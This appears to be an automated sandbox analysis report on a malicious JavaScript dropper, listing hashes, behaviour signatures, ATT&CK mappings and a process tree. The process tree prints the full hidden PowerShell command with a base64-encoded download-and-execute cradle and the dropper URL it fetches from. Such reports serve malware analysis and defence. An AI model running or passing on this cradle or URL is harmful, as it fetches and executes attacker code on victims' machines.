c5ab412eea44d50d146a80dff50e5d993f982f9222078d126dcebd1933fd650d

General

Target
2021APT-28_84042453.js
Size 168KB
Sample210729-e9dnb3qxge
SHA256 9a64532d58ebd19e94cb7bc5a656295c19044e243d638e835e355f6afc898e7a
MD5 c61b5feb59416456ad5de4aa0af3be9d
SHA1 b9641c358617a18740d2a92dd0a0392f846d7b62
SHA512 ccb33996e740adf2433ccf1515dcd5d15d224a95680b981ac0c413ea178566774e902dc80861e012891ef840a62ea45aa7918492812d073de090cedf1039c885
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2444	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3636	2444	WerFault.exe	77

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2444	powershell.exe
2444	powershell.exe
2444	powershell.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	3636	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3716 wrote to memory of 1792	3716	wscript.exe	74
PID 3716 wrote to memory of 1792	3716	wscript.exe	74
PID 1792 wrote to memory of 2444	1792	cmd.exe	77
PID 1792 wrote to memory of 2444	1792	cmd.exe	77

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_84042453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2444
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2444 -s 2296
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3636

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2444-121-0x000001ED8FA20000-0x000001ED8FA21000-memory.dmp

Download

memory/2444-128-0x000001EDA9DC0000-0x000001EDA9DC1000-memory.dmp

Download

memory/2444-133-0x000001ED8FBD0000-0x000001ED8FBD2000-memory.dmp

Download

memory/2444-134-0x000001ED8FBD3000-0x000001ED8FBD5000-memory.dmp

Download

memory/2444-135-0x000001ED8FBD6000-0x000001ED8FBD8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads